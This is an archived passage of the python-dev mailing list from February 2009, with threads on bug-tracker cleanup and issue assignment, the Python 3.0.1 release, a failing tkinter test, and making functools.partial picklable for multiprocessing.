noticed all issues in the Documentation > component are auto-assigned to you today. This meant dozens of unasked > for assignments :-/ > I think Georg at this point is the only auto-assignment. > > Now will I'll start verifying, adding tests, updating or closing as > needed the recently changed old issues, until I've taken a good look > at these. Then, if there's still time left before Saturday, I'll focus > on verifying/flagging more ancient ones. > One thing to keep an eye on for old issues, Daniel, is the Stage field. Setting that is nice for Bug Days as people can see what issues still need a test written or could use a review, etc. I have a doc I am writing up at http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines what the various Stage values should mean. Feedback from you and anybody else is welcome, although realize it is rough as I was not planning to make this public quite yet. > > during-bug-season-every-day-is-bug-day-ly y'rs, > So true. =) -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From aahz at pythoncraft.com Thu Feb 12 01:16:48 2009 From: aahz at pythoncraft.com (Aahz) Date: Wed, 11 Feb 2009 16:16:48 -0800 Subject: [Python-Dev] python seg faults In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> Message-ID: <20090212001648.GB23285@panix.com> One more thing: There's a mailing list specifically for help with C extensions, capi at python.org -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From jbaker at zyasoft.com Thu Feb 12 04:36:29 2009 From: jbaker at zyasoft.com (Jim Baker) Date: Wed, 11 Feb 2009 20:36:29 -0700 Subject: [Python-Dev] Tracker archeology In-Reply-To: <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> <20090210234620.GB12722@thorne.id.au> <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com> Message-ID: +1 on the cleanup: reading the bug description of http://bugs.python.org/issue1533164, this will also help Jython. Now I know why we see scenarios of package with setup.cfg with optimize=1: Indeed, this is a well-known issue. Many packages put an "optimize=1" in their setup.cfg in order to solve it. Unfortunately that breaks the setup process on Jython, since we don't support -O. And unfortunately it's not as easy to ignore the flag either, this can then break in other ways. - Jim On Wed, Feb 11, 2009 at 2:08 AM, Tarek Ziad? wrote: > On Wed, Feb 11, 2009 at 12:46 AM, Stephen Thorne > wrote: > > On 2009-02-10, Tarek Ziad? wrote: > >> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz > wrote: > >> > >> > > >> > If anyone is interested in being added as nosy for any category of > >> > bugs, let me know and I'll do that as I scan the tracker. > >> > >> I'll take Distutils related issues, > > > > If you could look at a solution for http://bugs.python.org/issue1533164 > > I would be eternally grateful. > > ok, that would be the next one I am working on in that case, > > Regards > Tarek > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com > -- Jim Baker jbaker at zyasoft.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From tjreedy at udel.edu Thu Feb 12 06:33:40 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 12 Feb 2009 00:33:40 -0500 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> <20090210234620.GB12722@thorne.id.au> <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com> Message-ID: Jim Baker wrote: > +1 on the cleanup: reading the bug description of > http://bugs.python.org/issue1533164, this will also help Jython. Now I > know why we see scenarios of package with setup.cfg with optimize=1: > > Indeed, this is a well-known issue. Many packages put an "optimize=1" in > their setup.cfg in order to solve it. > > Unfortunately that breaks the setup process on Jython, since we don't > support -O. And unfortunately it's not as easy to ignore the flag > either, this can then break in other ways. > > - Jim Add this comment to tracker if you want to be sure anyone reading it sees this ;-) From orsenthil at gmail.com Thu Feb 12 08:42:17 2009 From: orsenthil at gmail.com (Senthil Kumaran) Date: Thu, 12 Feb 2009 13:12:17 +0530 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: <7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com> On Thu, Feb 12, 2009 at 4:11 AM, Daniel (ajax) Diniz wrote: > > Now will I'll start verifying, adding tests, updating or closing as > needed the recently changed old issues, until I've taken a good look > at these. Then, if there's still time left before Saturday, I'll focus > on verifying/flagging more ancient ones. > > during-bug-season-every-day-is-bug-day-ly y'rs, For urllib,urllib2 and urlparse related, please add me (orsenthil) to nosy list. I should already there. I shall test and provide patches. Thanks, Senthil From victor.stinner at haypocalc.com Thu Feb 12 09:54:53 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Thu, 12 Feb 2009 09:54:53 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: <200902120954.53578.victor.stinner@haypocalc.com> Hi Daniel, > Good: > Many requested assignments: > Thanks everyone that asked for bugs. If anyone else wants more, > just let me know :) I like everything related to Unicode and the separation of byte and character strings in Python3 :-) I already have some pending issues.. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From python at rcn.com Thu Feb 12 09:59:11 2009 From: python at rcn.com (Raymond Hettinger) Date: Thu, 12 Feb 2009 00:59:11 -0800 Subject: [Python-Dev] test_tk failing Message-ID: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1> C:\py27>py27 lib\test\regrtest.py -uall test_tk test_tk test test_tk failed -- Traceback (most recent call last): File "c:\py27\lib\lib-tk\test\test_tkinter\test_text.py", line 32, in test_search self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2') AssertionError: != '1.2' 1 test failed: test_tk [35724 refs] C:\py31>py31 lib\test\regrtest.py -uall test_tk test_tk test test_tk failed -- Traceback (most recent call last): File "c:\py31\lib\tkinter\test\test_tkinter\test_text.py", line 32, in test_search self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2') AssertionError: != '1.2' 1 test failed: test_tk [73837 refs] From ggpolo at gmail.com Thu Feb 12 11:37:06 2009 From: ggpolo at gmail.com (Guilherme Polo) Date: Thu, 12 Feb 2009 08:37:06 -0200 Subject: [Python-Dev] test_tk failing In-Reply-To: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1> References: <8845F52768FB480DB7F9541F36B07AF1@RaymondLaptop1> Message-ID: On Thu, Feb 12, 2009 at 6:59 AM, Raymond Hettinger wrote: > C:\py27>py27 lib\test\regrtest.py -uall test_tk > test_tk > test test_tk failed -- Traceback (most recent call last): > File "c:\py27\lib\lib-tk\test\test_tkinter\test_text.py", line 32, in > test_search > self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2') > AssertionError: != '1.2' > > 1 test failed: > test_tk > [35724 refs] > > > > > C:\py31>py31 lib\test\regrtest.py -uall test_tk > test_tk > test test_tk failed -- Traceback (most recent call last): > File "c:\py31\lib\tkinter\test\test_tkinter\test_text.py", line 32, in > test_search > self.failUnlessEqual(text.search('-test', '1.0', 'end'), '1.2') > AssertionError: != '1.2' > > 1 test failed: > test_tk > [73837 refs] http://bugs.python.org/issue5193 -- -- Guilherme H. Polo Goncalves From ajaksu at gmail.com Thu Feb 12 13:28:43 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 10:28:43 -0200 Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13 In-Reply-To: References: Message-ID: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com> Barry Warsaw wrote: > A quick reminder that I am planning to release Python 3.0.1 this Friday, February 13. Cool :) Should I hold the tracker cleanup until then (the posting part, not the searching)? I'd hate to bury some important report in a sea of ancientness. Daniel PS: Are you aiming at 23:31:30 UTC ? :) From benjamin at python.org Thu Feb 12 13:52:30 2009 From: benjamin at python.org (Benjamin Peterson) Date: Thu, 12 Feb 2009 06:52:30 -0600 Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13 In-Reply-To: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com> References: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com> Message-ID: <1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com> On Thu, Feb 12, 2009 at 6:28 AM, Daniel (ajax) Diniz wrote: > Barry Warsaw wrote: >> A quick reminder that I am planning to release Python 3.0.1 this Friday, February 13. > > Cool :) > > Should I hold the tracker cleanup until then (the posting part, not > the searching)? I'd hate to bury some important report in a sea of > ancientness. No, don't worry. We can just search issues by priority. -- Regards, Benjamin From barry at python.org Thu Feb 12 14:01:48 2009 From: barry at python.org (Barry Warsaw) Date: Thu, 12 Feb 2009 08:01:48 -0500 Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13 In-Reply-To: <1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com> References: <2d75d7660902120428x47fc4cd5kb9b2c2a7d4112738@mail.gmail.com> <1afaf6160902120452r2752742ara42f5795b24942a9@mail.gmail.com> Message-ID: <150C3168-BB4C-45D0-BD70-53F6B9A374F2@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 12, 2009, at 7:52 AM, Benjamin Peterson wrote: > On Thu, Feb 12, 2009 at 6:28 AM, Daniel (ajax) Diniz > wrote: >> Barry Warsaw wrote: >>> A quick reminder that I am planning to release Python 3.0.1 this >>> Friday, February 13. >> >> Cool :) >> >> Should I hold the tracker cleanup until then (the posting part, not >> the searching)? I'd hate to bury some important report in a sea of >> ancientness. > > No, don't worry. We can just search issues by priority. That's fine. All I care about at this point are show stoppers for 3.0. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZQdvHEjvBPtnXfVAQLeTQP/VhiWIv8KIM2nGyEQaO7HylGkblMtcQ1J fBbhbJ4lwcvstRjrCYsHN8TKWhhUZnxDtXVigV3vvLHRX5SfYj/oV5oL0tWPfw5i 183oXNk2RIMmlP/oMSPK8OVgS01nt7wmj1RdkDBx6hq0r6TnIBV90JjPT45H06rB wzXsy/Fw/mw= =oXeZ -----END PGP SIGNATURE----- From ajaksu at gmail.com Thu Feb 12 14:08:07 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 11:08:07 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> Brett Cannon wrote: > One thing to keep an eye on for old issues, Daniel, is the Stage > field. Setting that is nice for Bug Days as people can see what > issues still need a test written or could use a review, etc. OK, I'll try to set a useful Stage for bugs I edit. I'll reread your blog post on stages and study the discussion. > I have a doc I am writing up at > http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines > what the various Stage values should mean. Feedback from you and > anybody else is welcome, although realize it is rough as I was not > planning to make this public quite yet. Looking good, I'll collect doc feedback as I learn Stages better. Here's some feedback on Stages themselves (still learning, probably misguided). Many old issues have patches without tests, or have patches and tests that are outdated. Others have patches (and sometimes tests), but aren't confirmed as bugs. So the Stage field would be easier to use if it included: 'not reproduced in current releases', 'reproduced, needs updating', 'is this really a bug?' (i.e., should I be writing a test/confirming or discussing the issue?), 'on hold/blocked' (has a blocking dependency). I'm not sure those would be useful for new issues, I think handling the important cases efficiently is more desirable than tuning the workflow for old issues. It's telling that the Stage that caught my attention was [triage] :D Thank you for the support and feedback (and Stages guide!), it helps a lot :) Daniel From ajaksu at gmail.com Thu Feb 12 14:08:30 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 11:08:30 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <7c42eba10902112342v219ce929ic051f11c00cf7dad@mail.gmail.com> Message-ID: <2d75d7660902120508x14d8cee0y63d10588853ac565@mail.gmail.com> Senthil Kumaran wrote: > For urllib,urllib2 and urlparse related, please add me (orsenthil) to > nosy list. I should already there. > I shall test and provide patches. Great! I always find it harder to test urllib[x] than to fix the bug. I'm in the process of gluing some tools and scripts together to help with the search/triage/update process, so I'll add you and Victor a later today. Might hold until after 3.0.1 (due tomorrow) if having the tracker less noisy would be better. In the meantime, other people interested in being added to urllib,urllib2 and urlparse are eligible for discounted prices :) Thanks for claiming these! Daniel From ajaksu at gmail.com Thu Feb 12 14:10:32 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 11:10:32 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <200902120954.53578.victor.stinner@haypocalc.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> Message-ID: <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> Victor Stinner wrote: > I like everything related to Unicode and the separation of byte and character > strings in Python3 :-) That's a big one. But Ezio Melotti already asked for Unicode, so I have some 75 issues selected and ready to add you two to, but I'll do it later today or after 3.0.1 tomorrow. Might find some more until then :) Anyone else interested in Unicode? There's locale, gettext, codecs, the Unicode databases, support for Unicode in tools (network protocols and/or file formats, mostly: email, base64). Thanks for stepping up! Daniel From victor.stinner at haypocalc.com Thu Feb 12 14:34:17 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Thu, 12 Feb 2009 14:34:17 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> Message-ID: <200902121434.17723.victor.stinner@haypocalc.com> Le Thursday 12 February 2009 14:10:32, vous avez ?crit?: > Victor Stinner wrote: > > I like everything related to Unicode and the separation of byte and > > character strings in Python3 :-) > > That's a big one. But Ezio Melotti already asked for Unicode, so I > have some 75 issues selected and ready to add you two to, but I'll do > it later today or after 3.0.1 tomorrow. Might find some more until > then :) Oh, I realized that there is a component called "Unicode". So it should be possible to write a request to list all issues related to unicode. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From ndbecker2 at gmail.com Thu Feb 12 14:46:36 2009 From: ndbecker2 at gmail.com (Neal Becker) Date: Thu, 12 Feb 2009 13:46:36 +0000 (UTC) Subject: [Python-Dev] multiprocessing not compatible with functional.partial Message-ID: If the argument to pool.map (f, args) is f = functional.partial (my_func, some_keyword_arg=whatever) I get: Traceback (most recent call last): File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- self.run() File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- self._target(*self._args, **self._kwargs) File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- task = get() File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- return recv() TypeError: type 'partial' takes at least one argument From lists at cheimes.de Thu Feb 12 15:06:31 2009 From: lists at cheimes.de (Christian Heimes) Date: Thu, 12 Feb 2009 15:06:31 +0100 Subject: [Python-Dev] multiprocessing not compatible with functional.partial In-Reply-To: References: Message-ID: Neal Becker schrieb: > If the argument to pool.map (f, args) > is > f = functional.partial (my_func, some_keyword_arg=whatever) > > I get: > > Traceback (most recent call last): > File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- > self.run() > File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- > self._target(*self._args, **self._kwargs) > File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- > task = get() > File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- > return recv() > TypeError: type 'partial' takes at least one argument functool.partial instances are not picklable. You have to teach multiprocessing how to serialize a functool.partial instance. Christian From ironfroggy at gmail.com Thu Feb 12 15:22:41 2009 From: ironfroggy at gmail.com (Calvin Spealman) Date: Thu, 12 Feb 2009 09:22:41 -0500 Subject: [Python-Dev] multiprocessing not compatible with functional.partial In-Reply-To: References: Message-ID: <76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com> On Thu, Feb 12, 2009 at 9:06 AM, Christian Heimes wrote: > Neal Becker schrieb: >> If the argument to pool.map (f, args) >> is >> f = functional.partial (my_func, some_keyword_arg=whatever) >> >> I get: >> >> Traceback (most recent call last): >> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >> self.run() >> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >> self._target(*self._args, **self._kwargs) >> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >> task = get() >> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >> return recv() >> TypeError: type 'partial' takes at least one argument > > functool.partial instances are not picklable. You have to teach > multiprocessing how to serialize a functool.partial instance. I don't think it would be unreasonable to consider either 1) making functools.partial picklable (I don't know how feasible this is) or 2) having multiprocessing, specifically, handle more stdlib types that are likely to be used here. Of course, if we get into "this is an extended set of types safe for multiprocessing", we are likely to see more problems between versions as a more difficult backwards compat target. So, maybe both are more harm than good? -- Read my blog! I depend on your acceptance of my opinion! I am interesting! http://techblog.ironfroggy.com/ Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy From jnoller at gmail.com Thu Feb 12 15:27:08 2009 From: jnoller at gmail.com (Jesse Noller) Date: Thu, 12 Feb 2009 09:27:08 -0500 Subject: [Python-Dev] multiprocessing not compatible with functional.partial In-Reply-To: <76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com> References: <76fd5acf0902120622y41c8331sa7c1bad8e9f9af00@mail.gmail.com> Message-ID: <4222a8490902120627l6f37b6acy35b617aa7a347f91@mail.gmail.com> On Thu, Feb 12, 2009 at 9:22 AM, Calvin Spealman wrote: > On Thu, Feb 12, 2009 at 9:06 AM, Christian Heimes wrote: >> Neal Becker schrieb: >>> If the argument to pool.map (f, args) >>> is >>> f = functional.partial (my_func, some_keyword_arg=whatever) >>> >>> I get: >>> >>> Traceback (most recent call last): >>> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >>> self.run() >>> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >>> self._target(*self._args, **self._kwargs) >>> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >>> task = get() >>> File "/usr/lib/python2.5/site-packages/multiprocessing-2.6.1.1-py2.5-linux- >>> return recv() >>> TypeError: type 'partial' takes at least one argument >> >> functool.partial instances are not picklable. You have to teach >> multiprocessing how to serialize a functool.partial instance. > > I don't think it would be unreasonable to consider either 1) making > functools.partial picklable (I don't know how feasible this is) or 2) > having multiprocessing, specifically, handle more stdlib types that > are likely to be used here. > > Of course, if we get into "this is an extended set of types safe for > multiprocessing", we are likely to see more problems between versions > as a more difficult backwards compat target. So, maybe both are more > harm than good? While maintaining a back port which contains all of the current and future functionality is an admirable goal, the fact is is that over time, there will simply be features added which will only work on current+future, and not be able to be back ported. Case in point, I want to look into adding a lot more contextmanager support into the module - this can work back to 2.5, but not further than that. .02 cents. -jesse From hrvoje.niksic at avl.com Thu Feb 12 16:10:07 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Thu, 12 Feb 2009 16:10:07 +0100 Subject: [Python-Dev] multiprocessing not compatible with functional.partial In-Reply-To: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001> References: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001> Message-ID: <49943BCF.4080709@avl.com> Calvin Spealman wrote: > I don't think it would be unreasonable to consider either 1) making > functools.partial picklable (I don't know how feasible this is) It's not only feasible, but quite easy and, I think, useful. A "partial" instance is a simple triplet of (function, args, kwds), and it can be pickled as such. For example: >>> import copy_reg, functools >>> def _reconstruct_partial(f, args, kwds): ... return functools.partial(f, *args, **(kwds or {})) ... >>> def _reduce_partial(p): ... return _reconstruct_partial, (p.func, p.args, p.keywords) ... >>> copy_reg.pickle(functools.partial, _reduce_partial) Test: >>> import operator, cPickle as cp >>> p = functools.partial(operator.add, 3) >>> p(10) 13 >>> cp.dumps(p) 'c__main__\n_reconstruct_partial\np1\n(coperator\nadd\np2\n(I3\ntp3\nNtRp4\n.' >>> p2 = cp.loads(_) >>> p2(10) 13 Iedally this should be implemented in the functools.partial object itself. From ndbecker2 at gmail.com Thu Feb 12 16:53:56 2009 From: ndbecker2 at gmail.com (Neal Becker) Date: Thu, 12 Feb 2009 10:53:56 -0500 Subject: [Python-Dev] multiprocessing not compatible with functional.partial References: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001> <49943BCF.4080709@avl.com> Message-ID: Hrvoje Niksic wrote: > Calvin Spealman wrote: >> I don't think it would be unreasonable to consider either 1) making >> functools.partial picklable (I don't know how feasible this is) > > It's not only feasible, but quite easy and, I think, useful. A > "partial" instance is a simple triplet of (function, args, kwds), and it > can be pickled as such. For example: > > >>> import copy_reg, functools > >>> def _reconstruct_partial(f, args, kwds): > ... return functools.partial(f, *args, **(kwds or {})) > ... > >>> def _reduce_partial(p): > ... return _reconstruct_partial, (p.func, p.args, p.keywords) > ... > >>> copy_reg.pickle(functools.partial, _reduce_partial) > > Test: > > >>> import operator, cPickle as cp > >>> p = functools.partial(operator.add, 3) > >>> p(10) > 13 > >>> cp.dumps(p) > 'c__main__\n_reconstruct_partial\np1\n(coperator\nadd\np2\n(I3\ntp3\nNtRp4\n.' > >>> p2 = cp.loads(_) > >>> p2(10) > 13 > > Iedally this should be implemented in the functools.partial object itself. Confirmed: from multiprocessing import Pool def power (x, pwr=2): return x**pwr import functools run_test = functools.partial (power, pwr=3) import copy_reg, functools def _reconstruct_partial(f, args, kwds): return functools.partial(f, *args, **(kwds or {})) def _reduce_partial(p): return _reconstruct_partial, (p.func, p.args, p.keywords) copy_reg.pickle(functools.partial, _reduce_partial) if __name__ == "__main__": pool = Pool() cases = [3,4,5] results = pool.map (run_test, cases) print results $python test_multi.py [27, 64, 125] From ndbecker2 at gmail.com Thu Feb 12 16:58:09 2009 From: ndbecker2 at gmail.com (Neal Becker) Date: Thu, 12 Feb 2009 15:58:09 +0000 (UTC) Subject: [Python-Dev] =?utf-8?q?multiprocessing_not_compatible=09with=09fu?= =?utf-8?q?nctional=2Epartial?= References: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001> <49943BCF.4080709@avl.com> Message-ID: Is it possible to get a better error message (regarding the pickle-ability)? From jnoller at gmail.com Thu Feb 12 17:03:46 2009 From: jnoller at gmail.com (Jesse Noller) Date: Thu, 12 Feb 2009 11:03:46 -0500 Subject: [Python-Dev] multiprocessing not compatible with functional.partial In-Reply-To: References: <9232114.1385916.1234448581950.JavaMail.xicrypt@atgrzls001> <49943BCF.4080709@avl.com> Message-ID: <3CD0477B-2E25-4098-8C16-6DA1B3C3A895@gmail.com> On Feb 12, 2009, at 10:58 AM, Neal Becker wrote: > Is it possible to get a better error message (regarding the pickle- > ability)? > > Sure, most of the time it does have a better error msg. From ajaksu at gmail.com Thu Feb 12 17:05:23 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Thu, 12 Feb 2009 14:05:23 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <200902121434.17723.victor.stinner@haypocalc.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> Message-ID: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> Victor Stinner wrote: > Oh, I realized that there is a component called "Unicode". So it should be > possible to write a request to list all issues related to unicode. Nice, I'll add set this component for issues that don't have it. I can still add people to these issues, if they want. Daniel From grubert at users.sourceforge.net Thu Feb 12 18:32:11 2009 From: grubert at users.sourceforge.net (grubert at users.sourceforge.net) Date: Thu, 12 Feb 2009 18:32:11 +0100 (CET) Subject: [Python-Dev] [issue2263] struct.pack() + numpy int raises SystemError Message-ID: hello, i took a look at unassigned open issue with the oldest activity this happened to be issue2263 Original bug report: struct.pack() raises SystemError when fed a numpy integer in some cases. The following was run on MacOSX 10.4, little endian (I can only reproduce the error if I specify big endian for the struct format). Not sure if this could be a numpy bug. i checked on ubuntu 8.04, Python 2.7a0 (trunk:69044) and numpy 1.2.1 and found * signed always works, longlong also. * unsigned native works half of the time * unsigned little/big endian never works digging into the source, for pack "B", ">B" and " I'm afraid I've gone branch-stupid. I have a a few changes that should be on the boat for the next release, but I can't for the life of me remember which branch to push to - right now the changes are on trunk and py3k. -jesse From solipsis at pitrou.net Thu Feb 12 19:20:38 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Thu, 12 Feb 2009 18:20:38 +0000 (UTC) Subject: [Python-Dev] 3.0.1 and 2.6.2 References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> Message-ID: Jesse Noller gmail.com> writes: > > I'm afraid I've gone branch-stupid. I have a a few changes that should > be on the boat for the next release, but I can't for the life of me > remember which branch to push to - right now the changes are on trunk > and py3k. The next release (3.0.1) is tomorrow. Unless those changes are really important, I humbly advocate deferring them to after tomorrow, for fear that they introduce last-minute breakage. (the branch names are release26-maint and release30-maint, if that's what you're asking :-)) Regards Antoine. From jnoller at gmail.com Thu Feb 12 19:29:16 2009 From: jnoller at gmail.com (Jesse Noller) Date: Thu, 12 Feb 2009 13:29:16 -0500 Subject: [Python-Dev] 3.0.1 and 2.6.2 In-Reply-To: References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com> Message-ID: <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com> On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou wrote: > Jesse Noller gmail.com> writes: >> >> I'm afraid I've gone branch-stupid. I have a a few changes that should >> be on the boat for the next release, but I can't for the life of me >> remember which branch to push to - right now the changes are on trunk >> and py3k. > > The next release (3.0.1) is tomorrow. Unless those changes are really important, > I humbly advocate deferring them to after tomorrow, for fear that they introduce > last-minute breakage. > > (the branch names are release26-maint and release30-maint, if that's what you're > asking :-)) > The changes have been stable since checked in, I have no problems holding off, but they're also not big. Doc changes, fixes to the logger and a segfault fix mainly. I have no problem holding off. r68862 | jesse.noller | 2009-01-22 16:53:22 -0500 (Thu, 22 Jan 2009) | 1 line Issue 4593: apply() documentation is unclear ------------------------------------------------------------------------ r68839 | jesse.noller | 2009-01-20 21:08:17 -0500 (Tue, 20 Jan 2009) | 1 line Issue 5009: multiprocessing: failure in manager._debug_info() ------------------------------------------------------------------------ r68787 | jesse.noller | 2009-01-19 19:16:38 -0500 (Mon, 19 Jan 2009) | 1 line issue 5002: fix windows warning that I intro'ed with r68768 ------------------------------------------------------------------------ r68768 | jesse.noller | 2009-01-19 10:12:22 -0500 (Mon, 19 Jan 2009) | 1 line Resolve issue 3321: (segfault) _multiprocessing.Connection() doesn't check handle ------------------------------------------------------------------------ r68737 | jesse.noller | 2009-01-18 16:04:36 -0500 (Sun, 18 Jan 2009) | 1 line issue 4301: patch logging to add processName, remove the old _check_logger_class code ------------------------------------------------------------------------ r68708 | jesse.noller | 2009-01-17 21:45:38 -0500 (Sat, 17 Jan 2009) | 1 line Resolve issue 4449: AssertionError in mp_benchmarks.py ------------------------------------------------------------------------ From brett at python.org Thu Feb 12 19:31:04 2009 From: brett at python.org (Brett Cannon) Date: Thu, 12 Feb 2009 10:31:04 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> Message-ID: On Thu, Feb 12, 2009 at 05:08, Daniel (ajax) Diniz wrote: > Brett Cannon wrote: > > One thing to keep an eye on for old issues, Daniel, is the Stage > > field. Setting that is nice for Bug Days as people can see what > > issues still need a test written or could use a review, etc. > > OK, I'll try to set a useful Stage for bugs I edit. I'll reread your > blog post on stages and study the discussion. > > > I have a doc I am writing up at > > http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines > > what the various Stage values should mean. Feedback from you and > > anybody else is welcome, although realize it is rough as I was not > > planning to make this public quite yet. > > Looking good, I'll collect doc feedback as I learn Stages better. > > Here's some feedback on Stages themselves (still learning, probably > misguided). > > Many old issues have patches without tests, or have patches and tests > that 